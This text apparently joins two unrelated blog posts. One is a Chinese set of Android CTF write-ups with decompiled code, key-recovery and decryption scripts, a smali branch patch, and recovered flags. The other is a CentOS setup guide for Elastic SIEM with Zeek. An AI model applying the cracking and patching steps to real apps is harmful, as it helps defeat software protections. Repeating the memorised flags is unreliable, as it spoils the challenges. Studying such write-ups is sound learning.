反编译APP

首先就是输入账号密码,正确后才能进入下一个函数的判断,但是这个getKeyAndRedirect需要联网获取key,才能进行下一步的加密验证。

获取到key之后就可以进行下一步计算

这里就是获取flag的关键代码了。
private boolean checkFlag(String arg3) { return new String(EncodeUtils.encode(arg3.getBytes(StandardCharsets.UTF_8), false, this.key.getBytes(StandardCharsets.UTF_8))).equals("3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P"); }也就是加密后需要输入的flag跟上面的字符串一致。这里的输入的账号密码很重要,因为需要后续输入密码来请求key,我们可以先过一遍流程,已知的账号为admin,加密后的密码为:c232666f1410b3f5010dc51cec341f58。而这个字符串是md5加密后再每一位减1得到,也就是需要把上面的再加1。结果就是:c33367701511b4f6020ec61ded352059。解密可以得到密码为:654321。
再把这个密码提交到平台上得到key:TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom

需要计算出来的结果为:3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P
这开头熟悉的乘除法和下面的计算过程,应该算法是base64的编码过程,其中key就是替换了原本的字符。

可以从Java中把base64解码的代码抠出来本地执行,代码过长不贴出来了,运行后显示如下,需要把前缀进行替换。

找到onCreate,onClick在其中,那就直接找关键函数,flag长38位,去掉前后的位数,中间的字符为32位,且需要把每四位进行一次看似是md5的加密,最后拼接的结果为:8393931a16db5a00f464a24abe24b17a9040b57d9cb2cbfa6bdc61d12e9b51f2789e8a8ae9406c969118e75e9bc65c4327fbc7c3accdf2c54675b0ddf3e0a6099b1b81046d525495e3a14ff6eae76eddfa1740cd6bd483da0f7684b2e4ec84b371f07bf95f0113eefab12552181dd832af8d1eb220186400c494db7091e402b0

md5算法中的传参是字符的每四位

先把上面的字符串分割为8段解密
8393931a16db5a00f464a24abe24b17a //4aea9040b57d9cb2cbfa6bdc61d12e9b51f2 //146e789e8a8ae9406c969118e75e9bc65c43 //9dc727fbc7c3accdf2c54675b0ddf3e0a609 //365e9b1b81046d525495e3a14ff6eae76edd //4ec9fa1740cd6bd483da0f7684b2e4ec84b3 //31f571f07bf95f0113eefab12552181dd832 //4728af8d1eb220186400c494db7091e402b0 //4822再把解密出来的拼接,加上flag的前缀即可。
反编译后发现是一个JNI的题,需要传入一个chararray的值

并且这个值再亦或后需要等于[0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24]
直接拖到IDA里面,找到调用函数,这个函数只有按位异或key这一个操作,但是key不知道,v5是传入的array数组。v6是数组长度。

点击查找,发现key是一个int类型的4位数组,第一个值0x56,函数列里有一个hide_key,这个函数是init_array内加载,就是给了一个key的原始数组,再进行异或替换。

key原始值是:[0x56,0x57,0x58,0x59]
key异或后的值是:[0x11, 0x65, 0x49, 0x4b]

编写脚本还原,上面的*(v5 + 4 * i)并不代表参数加值,而且指针变量,存储是地址值,int是4字节。
out = [0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24];key = [0x11, 0x65, 0x49, 0x4b]a = ''for i in range(0, len(out)): c = key[i % 4] ^ out[i] a = a + chr(c) print(a)结果是:flag{6700280a84487e46f76f2f60ce4ae70b}
反编译后查看内容,是一个需要进行RC4加密,然后再进行base64编码输出的过程。

解密代码
#coding:utf-8from Crypto.Cipher import ARC4import base64def rc4_decrypt(key, data): cipher = ARC4.new(key) return cipher.decrypt(base64.b64decode(data))key = b'carol'data = b'mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s='decrypted_data = rc4_decrypt(key, data)print(decrypted_data)反编译APP失败,解压缩发现dex异常,在res下发现所谓的真正的APP,一个txt文件,但是是压缩包,打开发现是APP目录格式,修改后缀打开即可。

Java层没有发现有用的东西,jni层调用了两个函数,反编译libnative-lib.so。
jni内有JNI_Onload函数,其中做了一个函数调用的判断。检查是否能获取到环境变量,然后再去检查是否存在MainActivity,然后调用stringFromJNI。
其中还有一个StringFromJNI,这个函数就是一个提示,会返回flag是flag{WeLcome_to-SWPU}}加密的结果。
直接还原方法stringFromJNI
#include <stdio.h>#include <string.h>int main() { size_t i; char a1[35] = "flag{WeLcome_to-SWPU}}"; int a2 = 5; for ( i = 0; i < strlen(a1); ++i ) { if ( a1[i] < 0x41 || a1[i] > 0x5A ) { if ( a1[i] >= 0x61 && a1[i] <= 0x7A ) a1[i] = (a1[i] + a2 - 97) % 26 + 97; } else { a1[i] = (a1[i] + a2 - 65) % 26 + 65; } } printf(a1); return 0;}结果是:kqfl{BjQhtrj_yt-XBUZ}},再加上flag的前后缀即可。
反编译发现是一个计算过程,这个关于账号密码没有提示,比如账号qweasdzxcr,计算出来的密码就是qweasdzxcr_SUGCQFXZAP@001

在UserActivity内,有一个判断余额是否大于499999999的计算,大于则购买成功返回flag,还原后是flag{~1fHrTY8Y@_61$H*rPf6n3y!!},但是这个flag并不正确,说明token不对。
public static void main(String[] args) throws Exception { byte[] arr_b = {0x40, 0x30, 0x30, 49}; byte[] arr_b1 = "qweasdzxcr".getBytes(); for(int v = 0; v < arr_b1.length; ++v) { arr_b1[v] = (byte)(arr_b1[v] ^ 34); } String p = new String(arr_b1) + new String(arr_b); String ss = "qweasdzxcr" + "_" + p + "_" + System.currentTimeMillis(); System.out.println(ss); String s; byte[] arr_b0 = {102, 108, 97, 103, 0x7B}; byte[] arr_b11 = {0x7D}; byte[] arr_b22 = new byte[]{15, 70, 3, 41, 1, 0x30, 35, 0x40, 58, 50, 0, 101, 100, 99, 11, 0x7B, 52, 8, 60, 0x77, 62, 0x73, 73, 17, 16}; byte[] arr_b3 = ss.getBytes(); if(25 > arr_b3.length) { s = ""; } else { for(int v = 0; v < 25; ++v) { arr_b22[v] = (byte)(arr_b22[v] ^ arr_b3[v]); } s = new String(arr_b0) + new String(arr_b22) + new String(arr_b11); } System.out.println(s);}然后再去查看另一个计算余额的过程,发现其中有涉及到token,就是账号密码的组合值,这个token至少是一个固定值,才可以正确计算出flag,先逆推出token。
public static void main(String[] args) throws Exception { int[] arr_v = new int[1]; byte[] arr_bq = new byte[]{81, -13, 84, -110, 72, 77, (byte)0xA0, 77, 0x20, (byte)0x8D, -75, -38, -97, 69, (byte)0xC0, 49, 8, -27, 56, 0x72, -68, -82, 76, -106, -34}; byte[] arr_b2 = "5FQ5AaBGbqLGfYwjaRAuWGdDvyjbX5nH".getBytes(); byte[] arr_b3 = new byte[0x100]; for(int v = 0; v < 0x100; ++v) { arr_b3[v] = (byte)v; } if(arr_b2.length == 0) { arr_b3 = null; } else { int v2 = 0; int v3 = 0; for(int v1 = 0; v1 < 0x100; ++v1) { v3 = (arr_b2[v2] & 0xFF) + (arr_b3[v1] & 0xFF) + v3 & 0xFF; byte b = arr_b3[v1]; arr_b3[v1] = arr_b3[v3]; arr_b3[v3] = b; v2 = (v2 + 1) % arr_b2.length; } } String string; int v4 = Math.min(25, arr_bq.length); int v5 = 16; int v7 = 0; int v8 = 0; char[] chrCharArray = new char[25]; for(int v6 = 0; v6 < v4; ++v6) { v7 = v7 + 1 & 0xFF; v8 = (arr_b3[v7] & 0xFF) + v8 & 0xFF; byte b1 = arr_b3[v7]; arr_b3[v7] = arr_b3[v8]; arr_b3[v8] = b1; chrCharArray[v6] = (char) (arr_b3[(arr_b3[v7] & 0xFF) + (arr_b3[v8] & 0xFF) & 0xFF] ^ arr_bq[v6]); } System.out.println(chrCharArray); }得到的token为:vvvvipuser_TTTTKRWQGP@001,账号密码就出来了,再把这个token放进去计算flag。
public static void main(String[] args) throws Exception { String s; byte[] arr_b0 = {102, 108, 97, 103, 0x7B}; byte[] arr_b11 = {0x7D}; byte[] arr_b22 = new byte[]{15, 70, 3, 41, 1, 0x30, 35, 0x40, 58, 50, 0, 101, 100, 99, 11, 0x7B, 52, 8, 60, 0x77, 62, 0x73, 73, 17, 16}; byte[] arr_b3 = "vvvvipuser_TTTTKRWQGP@001".getBytes(); if(25 > arr_b3.length) { s = ""; } else { for(int v = 0; v < 25; ++v) { arr_b22[v] = (byte)(arr_b22[v] ^ arr_b3[v]); } s = new String(arr_b0) + new String(arr_b22) + new String(arr_b11); } System.out.println(s); }得到flag:flag{y0u_h@V3_@_107_0f_m0n3y!!}
这个APP流程有点麻烦,但不难,就是需要把输入的字符串分为三部分,每8个字符跟特定的数据比对,相同则下一步,也就是可以跟据特定的数据来获取那8个字符串,首先是data.bin文件前8个字节,然后是des解密后再用Inflater压缩获取前8位跟输入字符串的中间8位一致,des再解密后LZ4解压缩获取最后字符串的8位。反编译代码太长这里不贴,直接写计算代码:
下面的data是我手动解压后,不然还需要再进行一次解压缩。
public static void getEncodeStr() throws IOException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException { byte[] des_decry; byte[] arr_b14; byte[] arr_b10 = new byte[0]; byte[] arr_b3 = null; try (FileInputStream fis = new FileInputStream("E:\\Java_File\\File\\src\\data")) { byte[] header = new byte[8]; int bytesRead = fis.read(header, 0, 8); byte[] data = new byte[fis.available()]; bytesRead = fis.read(data); Cipher cipher0 = Cipher.getInstance("DES"); cipher0.init(2, j(header)); des_decry = cipher0.doFinal(data); Inflater inflater = new Inflater(); inflater.setInput(des_decry); ByteArrayOutputStream byteArrayOutputStream1 = new ByteArrayOutputStream(des_decry.length); try { byte[] des_decry2 = new byte[0x400]; while (!inflater.finished()) { byteArrayOutputStream1.write(des_decry2, 0, inflater.inflate(des_decry2)); } byteArrayOutputStream1.close(); } catch (Exception exception0) { System.out.println("error"); } byte[] output = new byte[des_decry.length]; int resultLength = inflater.inflate(output); inflater.end(); byte[] result = byteArrayOutputStream1.toByteArray(); byte[] arr_b12 = new byte[0]; if (result.length >= 8) { arr_b12 = new byte[8]; System.arraycopy(result, 0, arr_b12, 0, 8); byte[] arr_b13 = new byte[result.length - 8]; System.arraycopy(result, 8, arr_b13, 0, result.length - 8); Cipher cipher1 = Cipher.getInstance("DES"); cipher1.init(2, j(arr_b12)); arr_b14 = cipher1.doFinal(arr_b13); arr_b10 = arr_b14; } LZ4SafeDecompressor lZ4SafeDecompressor0 = LZ4Factory.safeInstance().safeDecompressor(); byte[] arr_b15 = new byte[arr_b10.length * 5]; int v1 = lZ4SafeDecompressor0.decompress(arr_b10, 0, arr_b10.length, arr_b15, 0); byte[] arr_b16 = new byte[v1]; System.arraycopy(arr_b15, 0, arr_b16, 0, v1); byte[] arr_b17 = new byte[0]; if (v1 >= 8) { arr_b17 = new byte[8]; System.arraycopy(arr_b16, 0, arr_b17, 0, 8); int v2 = v1 - 8; byte[] arr_b18 = new byte[v2]; System.arraycopy(arr_b16, 8, arr_b18, 0, v2); Cipher cipher2 = Cipher.getInstance("DES"); cipher2.init(2, j(arr_b17)); arr_b3 = cipher2.doFinal(arr_b18); } byte[] m = mergeBytes(header, arr_b12, arr_b17); System.out.println(new String(m)); } catch (DataFormatException e) { throw new RuntimeException(e); } } public static byte[] mergeBytes(byte[]... bytes) { int length = 0; for (byte[] b : bytes) { length += b.length; } byte[] result = new byte[length]; int destPos = 0; for (byte[] b : bytes) { System.arraycopy(b, 0, result, destPos, b.length); destPos += b.length; } return result; } public static Key j(byte[] arr_b) { byte[] arr_b1 = new byte[8]; for(int v = 0; v < arr_b.length && v < 8; ++v) { arr_b1[v] = arr_b[v]; } return new SecretKeySpec(arr_b1, "DES"); }得到flag的值:DE5_c0mpr355_m@y_c0nfu53
反编译得到一个类似账号密码判断的流程,但是需要逆推出

输入的账号也就是字符串s进行encode操作

字符串计算前后相等,这样可以爆破出账号s,得到结果为:LOHILMNMLKHILKHI
public static int encode(byte[] arr_b) { byte[] arr_b2 = new byte[16]; byte[] ast = "qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM".getBytes(); for(int v1 = 0; v1 < 16; ++v1) { for(int x = 0; x < ast.length; ++x) { arr_b2[v1] = (byte)((ast[x] + arr_b[v1]) % 61); arr_b2[v1] = (byte)(arr_b2[v1] * 2 - v1); if (arr_b2[v1] == ast[x]) { System.out.println((char) arr_b2[v1]); } } //LOHILMNMLKHILKHI } return 0; }然后再去计算密码,可得到结果:nmjknoloni_@0011
public static void main(String[] args) throws Exception { byte[] arr_b = {0x40, 0x30, 0x30, 49, 49}; byte[] arr_b1 = encode("LOHILMNMLKHILKHI", new byte[]{23, 22, 26, 26, 25, 25, 25, 26, 27, 28, 30, 30, 29, 30, 0x20, 0x20}); for(int v = 0; v < arr_b1.length; ++v) { arr_b1[v] = (byte)(arr_b1[v] ^ 34); } char[] arr_c = new String(arr_b1).toCharArray(); String s2 = ""; for(int v1 = 0; v1 < 10; ++v1) { s2 = s2 + arr_c[v1]; } System.out.println(s2 + "_" + new String(arr_b)); //nmjknoloni_@0011 }然后找到b类,这个类应该才是最后的验证,其中有个f0.oho,这个是JNI层函数调用,这里的O().v跟上面的计算过程一样,都是encode的过程。所以输入的参数为:密码,用户名,拼接字段。

这里直接贴最后的WP,不要问,问就是没还原出来。。。
#include <bits/stdc++.h>using namespace std;int main() { char key1[]={"nNjLnHlL"}; int count=1; int key[7];//nNjLnHlL for (int i = 0; i < 6; ++i) { key[i] = key1[count]; count++; } unsigned int ks[6]={0x5d950ef2,0x86cca2de,0xc039bbf4,0xc5948102,0xaed55e9c,0x89f14377}; unsigned int k=0,bk=0; unsigned int p[4]; for(int i=5;i>=0;i--) if(i>0) ks[i]^=ks[i-1]; for(int i=0;i<24;i+=4){ k=ks[i/4]; k=(1<<key[i/4])^k; k=((k>>16)) | ((~(k<<16))&0xffff0000); k=((k<<key[i/4])) | (k>>(32-key[i/4])); for(int j=0; j<4; j++) printf("%c", *((char*)&k+3-j)); } return 0;}结果就是:WelCOme_To_mAkaBakA!BrO!
APK:https://down.52pojie.cn/nUvaFj.7z|zYchSGxanOOx
用jadx反编译出来,其中关键是onCreate中的decrypt
public static final void m19onCreate$lambda0(MainActivity mainActivity, TextView textView, View view) { Intrinsics.checkNotNullParameter(mainActivity, "this$0"); Intrinsics.checkNotNullParameter(textView, "$key"); MainActivity mainActivity2 = mainActivity; mainActivity.jntm(mainActivity2); textView.setText(String.valueOf(mainActivity.num)); if (mainActivity.check() == 999) { Toast.makeText(mainActivity2, "快去论坛领CB吧!", 1).show(); textView.setText(mainActivity.decrypt("hnci}|jwfclkczkppkcpmwckng•", 2)); } }上面有两个部分,其中一是check结果为999,另一个就是解密那个字符串,check这个不需要传入参数,上面设定了get/set,这里直接修改判断即可。
public final int check() { int i = this.num + 1; this.num = i; return i; }修改if-ne为if-eq
00000036 invoke-virtual MainActivity->check()I, p00000003C move-result v00000003E const/16 v1, 99900000042 if-ne v0, v1,第二部分decrypt,这里
public final String decrypt(String str, int i) { Intrinsics.checkNotNullParameter(str, "encryptTxt"); char[] charArray = str.toCharArray(); Intrinsics.checkNotNullExpressionValue(charArray, "this as java.lang.String).toCharArray()"); StringBuilder sb = new StringBuilder(); for (char c : charArray) { sb.append((char) (c - i)); } String sb2 = sb.toString(); Intrinsics.checkNotNullExpressionValue(sb2, "with(StringBuilder()) {\n… toString()\n }"); return sb2; }写个python脚本复原
#coding:utf-8list_s = []def decrypt(str1, int2): for i in str1: list_s.append(chr(ord(i) - int2)) return list_sprint("".join(decrypt("hnci}|jwfclkczkppkcpmwckng•", 2)))当然,如果习惯用jeb打开的话就会发现,这个decrypt已经给我们复原好了。

APK:https://down.52pojie.cn/JfCdrX.7z | 5dPxREzsOa89
这个题需要知道自己的UID,反编译后可以看到主要的判断逻辑在onCreate
public static final void m19onCreate$lambda0(MainActivity mainActivity, View view) { Intrinsics.checkNotNullParameter(mainActivity, "this$0"); A a = A.INSTANCE; EditText editText = mainActivity.edit_uid; EditText editText2 = null; if (editText == null) { Intrinsics.throwUninitializedPropertyAccessException("edit_uid"); editText = null; } String obj = StringsKt.trim((CharSequence) editText.getText().toString()).toString(); EditText editText3 = mainActivity.edit_flag; if (editText3 == null) { Intrinsics.throwUninitializedPropertyAccessException("edit_flag"); } else { editText2 = editText3; } if (a.B(obj, StringsKt.trim((CharSequence) editText2.getText().toString()).toString())) { Toast.makeText(mainActivity, "恭喜你,flag正确!", 1).show(); } else { Toast.makeText(mainActivity, "flag错误哦,再想想!", 1).show(); } }这里,我们可以得到两个信息,第一个参数是UID,第二个参数是flag,参数传入A类下的B函数中。
public final boolean B(String str, String str2) { Intrinsics.checkNotNullParameter(str, "str"); Intrinsics.checkNotNullParameter(str2, "str2"); if ((str.length() == 0 && str2.length() == 0) || !StringsKt.startsWith$default(str2, "flag{", false, 2, (Object) null) || !StringsKt.endsWith$default(str2, "}", false, 2, (Object) null)) { return false; } String substring = str2.substring(5, str2.length() - 1); Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String…ing(startIndex, endIndex)"); C c = C.INSTANCE; MD5Utils mD5Utils = MD5Utils.INSTANCE; Base64Utils base64Utils = Base64Utils.INSTANCE; String encode = B.encode(str + "Wuaipojie2023"); Intrinsics.checkNotNullExpressionValue(encode, "encode(str3)"); byte[] bytes = encode.getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)"); return Intrinsics.areEqual(substring, c.cipher(mD5Utils.MD5(base64Utils.encodeToString(bytes)), 5)); }上面的函数先对flag进行截取,去掉flag{},只留中间的字符串。然后使用B类下的encode进行处理UID,处理后再进行md5操作,然后跟输入进行比较,相同则代表输入正确,也就是我们需要获取的值。
public static String encode(String str) { int length = str.length(); char[] cArr = new char[length]; int i = length - 1; while (i >= 0) { int i2 = i - 1; cArr[i] = (char) (str.charAt(i) ^ '5'); if (i2 < 0) { break; } i = i2 - 1; cArr[i2] = (char) (str.charAt(i2) ^ '2'); } return new String(cArr); }这个算法稍微比上面的麻烦一点,本来打算用添加log或者frida来做,发现手机的终端都不能安装,干脆直接把算法实现一遍,需要修改下面的UID为自己的UID。Base64Utils和MD5Utils也可以自己使用编码加密来替代算法。
import org.apache.commons.io.Charsets;public class checkme { public static String encode(String arg4) { int v0 = arg4.length(); char[] v1 = new char[v0]; int v0_1 = v0 - 1; while(v0_1 >= 0) { int v2 = v0_1 - 1; v1[v0_1] = (char)(arg4.charAt(v0_1) ^ 53); if(v2 < 0) { break; } v0_1 = v2 - 1; v1[v2] = (char)(arg4.charAt(v2) ^ 50); } return new String(v1); } public static void main(String[] args) { String v6 = encode(UID+"Wuaipojie2023"); byte[] v6_1 = v6.getBytes(Charsets.UTF_8); String v6_2 = Base64Utils.INSTANCE.encodeToString(v6_1); String v6_3 = MD5Utils.INSTANCE.MD5(v6_2); System.out.println(C.INSTANCE.cipher(v6_3, 5)); }}最后算出来的值就是,再加上前后的flag{}。
flag{i4jkj66h8j7i4j7hi6ihf4h02hi062i4}APK:https://down.52pojie.cn/cuKcNU.7z | my4OyfjP5HG2
反编译APK,发现是一个native层的解题,继续看下面的流程,需要把音量调到100-101之间,应该是需要让这个v2不等于0,既可把flag写入到本地的图片上
private final void Check_Volume(double arg6) { TextView v0 = this.automedia; if(v0 == null) { Intrinsics.throwUninitializedPropertyAccessException("automedia"); v0 = null; } v0.setText(((CharSequence)("当前分贝:" + arg6))); int v2 = 0; if(Double.compare(84.0, arg6) <= 0 && arg6 <= 99.0) { this.xigou(((Context)this)); return; } if(100.0 <= arg6 && arg6 <= 101.0) { v2 = 1; } if(v2 != 0) { Toast.makeText(((Context)this), "快去找flag吧", 1).show(); this.write_img(); } }其中的write_img函数为
private final void write_img() { Closeable v2; InputStream v1_1; InputStream v0 = this.getAssets().open("aes.png"); Intrinsics.checkNotNullExpressionValue(v0, "assets.open(\"aes.png\")"); File v3 = new File(this.getPrivateDirectory(), "aes.png"); Closeable v0_1 = (Closeable)v0; try { v1_1 = (InputStream)v0_1; v2 = (Closeable)new FileOutputStream(v3); } catch(Throwable v1) { throw v1; } try { ByteStreamsKt.copyTo$default(v1_1, ((OutputStream)(((FileOutputStream)v2))), 0, 2, null); goto label_27; } catch(Throwable v1_2) { } try { throw v1_2; } catch(Throwable v3_1) { } try { CloseableKt.closeFinally(v2, v1_2); throw v3_1; label_27: CloseableKt.closeFinally(v2, null); goto label_34; } catch(Throwable v1) { } try { throw v1; } catch(Throwable v2_1) { } CloseableKt.closeFinally(v0_1, v1); throw v2_1; label_34: CloseableKt.closeFinally(v0_1, null); }其中在assert下面的aes图片是一个加密的字段,看起来不是写入里面,而是这个图片是显示了加密的flag,这里需要解密出来这个flag图片,大概?
反编译其中的lib52pj.so,发现其中存在JNI_Onload函数,里面貌似是调试自身的反调试和环境检测。
{ jint v3; // r4 int v4; // r0 int v6; // [sp+0h] [bp-18h] BYREF ptrace(PTRACE_TRACEME, 0, 0, 0); v6 = 0; v3 = 65542; if ( (*vm)->GetEnv(vm, &v6, 65542) ) return -1; v4 = (*(*v6 + 24))(v6, "com/zj/wuaipojie2023_2/MainActivity"); if ( !v4 ) return -1; if ( (*(*v6 + 860))(v6, v4, methods, 1) < 0 ) v3 = -1; return v3;}这个APP的作用就是符合上面的条件后提供这个图片出来,除此之外都没有调用过native函数。
so的反编译这个用x86架构的,看起来清楚一些。其中_mm_add_epi8代表SSE指令的8位加法,意思是r0=a0+b0,r1=a1+b1,_mm_loadu_si128代表加载128位的值,s1就是v3和xmmword_2A60相加。而xmmword_2A60的值查看Data是0xFBFEFBFEFBFEFBFEFBFEFBFEFBFEFBFE,strcmp是比较,这里无实际意义。
bool __cdecl get_RealKey(_JNIEnv *a1, int a2, int a3){ const __m128i *v3; // esi __m128i s1; // [esp+0h] [ebp-2Ch] BYREF char v6; // [esp+10h] [ebp-1Ch] unsigned int v7; // [esp+20h] [ebp-Ch] v7 = __readgsdword(0x14u); v3 = a1->functions->GetStringUTFChars(a1, a3, 0); if ( strlen(v3->m128i_i8) != 16 ) return 0; v6 = 0; s1 = _mm_add_epi8(_mm_loadu_si128(v3), xmmword_2A60); return strcmp(s1.m128i_i8, "thisiskey") != 0;}编写一个C脚本来还原key
#include <stdio.h>int main() { char key[] = "|wfkuqokj4548366"; char xmmword_2A60[] = { 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE, 0xFB, 0xFE}; int a = 0; char newkey[32]; for (int i = 0; i < sizeof(key) - 1; i ++) if (a % 2 == 0) { newkey[i] = key[i] + xmmword_2A60[i]; } else { newkey[i] = key[i] + xmmword_2A60[i + 1]; } printf("%s", newkey);}运行的结果是wuaipojie2023114,尝试解密png图片,解密出来是这样的一段值
89504E470D0A1A0A0000000D49484452000002E2000002E204030000006ECDAE0C0000000467414D410000B18F0BFC6105000000017352474200AECE1CE900000030504C5445FEFEFEF6CF75F0BF5FF9DF89ECA34FF3F4EC272B24E26265E0DED98B867C52514EC29F6A6D380EB55633A8A7A6D0C7BCAE84814D000020004944415478DAEC5DBF6FDB481666F30057B77FD6B5AF1980D7C49D00BB484A42100CB81980BB07585DB4B48F4E75C6D9383BA51018D9FD032E5713。。。。。。。利用脚本进行十六进制转图片操作
import binasciipayload = "89504E470D0A1A0A0000000D49484452000002E2000002E204030000006ECDAE0C0000000467414D410000B18F0BFC6105000000017352474200AECE1CE900000030504C5445FEFEFEF6CF75F0BF5FF9DF89ECA34FF3F4EC272B24。。。。。。"f=open("1.png","ab")pic = binascii.a2b_hex(payload.encode())f.write(pic)f.close()得到一个干杯的表情包。。。。用010editor打开查看一下。
可以看到开头是PNG的图片标志头,搜索一下看看是不是里面还带了什么zip或者图片。在1953行那还有一个PNG头,提取后面的图片。是一个1kb大小的二维码,扫码可得
flag{Happy_New_Year_Wuaipojie2023}不要问,问就是不会,现在已经有大佬做出来了。可以看看大佬们的WP:https://www.52pojie.cn/thread-1742121-1-1.html
]]>安全性资讯与事件 (SIEM) 是一种解决方案,可协助组织在威胁伤害企业运行之前,先进行侦测、分析和回应安全性威胁。以下使用centos7安装Elastic SIEM。
使用Ubuntu安装:https://blog.csdn.net/UbuntuTouch/article/details/114023944
https://elasticstack.blog.csdn.net/article/details/112647180
创建RPM配置/etc/yum.repos.d/elasticsearch.repo
[elasticsearch]name=Elasticsearch repository for 7.x packagesbaseurl=https://artifacts.elastic.co/packages/7.x/yumgpgcheck=1gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearchenabled=0autorefresh=1type=rpm-md安装
yum install --enablerepo=elasticsearch elasticsearch或者下载rpm文件
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-x86_64.rpmsudo rpm --install elasticsearch-7.16.3-x86_64.rpm修改/etc/elasticsearch/elasticsearch.yml
cluster.name: demo-elknode.name: elk-1network.host: 0.0.0.0discovery.type: single-node启动es
service elasticsearch start同样创建配置/etc/yum.repos.d/kibana.repo
[kibana-7.x]name=Kibana repository for 7.x packagesbaseurl=https://artifacts.elastic.co/packages/7.x/yumgpgcheck=1gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearchenabled=1autorefresh=1type=rpm-md安装
yum install kibana或者下载rpm文件
wget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-x86_64.rpmsudo rpm --install kibana-7.16.3-x86_64.rpm编辑配置文件/etc/kibana/kibana.yml
server_port: 5601server_host: 0.0.0.0server_name: demo-kibana启动
service kibana startyum install filebeat一些需要的组件
yum install cmake gcc-c++ gcc make flex bison swig python3 python3-devel下载
git clone --recursive https://github.com/zeek/zeek配置环境
./configure --prefix=/opt/zeek如果显示cmake版本不对,则去下载cmake
wget https://cmake.org/files/v3.18/cmake-3.18.6-Linux-x86_64.tar.gz -O /opt/yum remove cmake# 编辑环境变量写入export CMAKE_HOME=/opt/cmakeexport PATH=$PATH:$CMAKE_HOME/binsource /etc/profilecmake -version再此执行上面的命令如果报错No CMAKE_CXX_COMPILER could be found,安装gcc-c++
yum install gcc-c++如果报错 Could NOT find ZLIB,安装zlib
wget http://www.zlib.net/zlib-1.2.11.tar.gztar -xvzf zlib-1.2.11./configuremake && make install如果报错 Could not find prerequisite package 'PCAP',安装libpcap
wget https://www.tcpdump.org/release/libpcap-1.10.1.tar.gztar -zxvf libpcap-1.10.1.tar.gzcd libpcap-1.10.1./configuremake -j8make install如果报错Could not find prerequisite package 'OpenSSL',安装libssl
yum install openssl-devel如果提示GCC版本过低,scl源安装多版本gcc
yum install centos-release-sclyum install devtoolset-7-gcc*scl enable devtoolset-7 bash安装基本就可以成功,但是时间有点长,添加环境变量
export PATH=/opt/zeek/bin:$PATH在 /opt/zeek/etc 找到一个叫做 node.cfg 的配置文件。修改网卡名
interface=ens33安装sendmail
yum install sendmail部署zeek
zeekctl deploy在 /opt/zeek/logs 目录里发现日志。“current” 目录保存当天的日志,而前几天的日志则存档到其自己的目录中。
需要创建一个 YAML 文件 /usr/share/elasticsearch/instances.yml
instances: - name: "elasticsearch" ip:"192.168.0.4" - name: "kibana" ip:"192.168.0.4" - name: "zeek" ip:"192.168.0.4"运行生成证书
/usr/share/elasticsearch/bin/elasticsearch-certutil cert ca --pem --in instances.yml --out certs.zip如果报错,说明如下是格式对其上有问题
expected <block end>, but found '<block mapping start>' in 'reader', line 3, column 3: ip: "192.168.36.133" ^正常生成后,在运行解压缩
unzip /usr/share/elasticsearch/certs.zip -d /usr/share/elasticsearch/创建一个文件夹将你的证书存储在我们的 Elasticsearch 主机上。
mkdir /etc/elasticsearch/certs/ca -p需要将解压缩的证书复制到其相关文件夹中并设置正确的权限。
cp ca/ca.crt /etc/elasticsearch/certs/cacp elasticsearch/elasticsearch.crt /etc/elasticsearch/certscp elasticsearch/elasticsearch.key /etc/elasticsearch/certschown -R elasticsearch: /etc/elasticsearch/certschmod -R 770 /etc/elasticsearch/certs将 SSL 配置添加到我们的 /etc/elasticsearch/elasticsearch.yml 文件
# Transport layerxpack.security.transport.ssl.enabled: truexpack.security.transport.ssl.verification_mode: certificatexpack.security.transport.ssl.key: /etc/elasticsearch/certs/elasticsearch.keyxpack.security.transport.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crtxpack.security.transport.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca/ca.crt" ] # HTTP layerxpack.security.http.ssl.enabled: truexpack.security.http.ssl.verification_mode: certificatexpack.security.http.ssl.key: /etc/elasticsearch/certs/elasticsearch.keyxpack.security.http.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crtxpack.security.http.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca/ca.crt" ]重新启动 Elasticsearch。
service elasticsearch restart配置证书
mkdir /etc/kibana/certs/ca -pcp ca/ca.crt /etc/kibana/certs/cacp kibana/kibana.crt /etc/kibana/certscp kibana/kibana.key /etc/kibana/certschown -R kibana: /etc/kibana/certschmod -R 770 /etc/kibana/certs文件 /etc/kibana/kibana.yml
elasticsearch.hosts: ["https://192.168.36.133:9200"]elasticsearch.ssl.certificateAuthorities: ["/etc/kibana/certs/ca/ca.crt"]elasticsearch.ssl.certificate: "/etc/kibana/certs/kibana.crt"elasticsearch.ssl.key: "/etc/kibana/certs/kibana.key"#在 Kibana 和浏览器之间添加配置server.ssl.enabled: trueserver.ssl.certificate: "/etc/kibana/certs/kibana.crt"server.ssl.key: "/etc/kibana/certs/kibana.key"重新启动
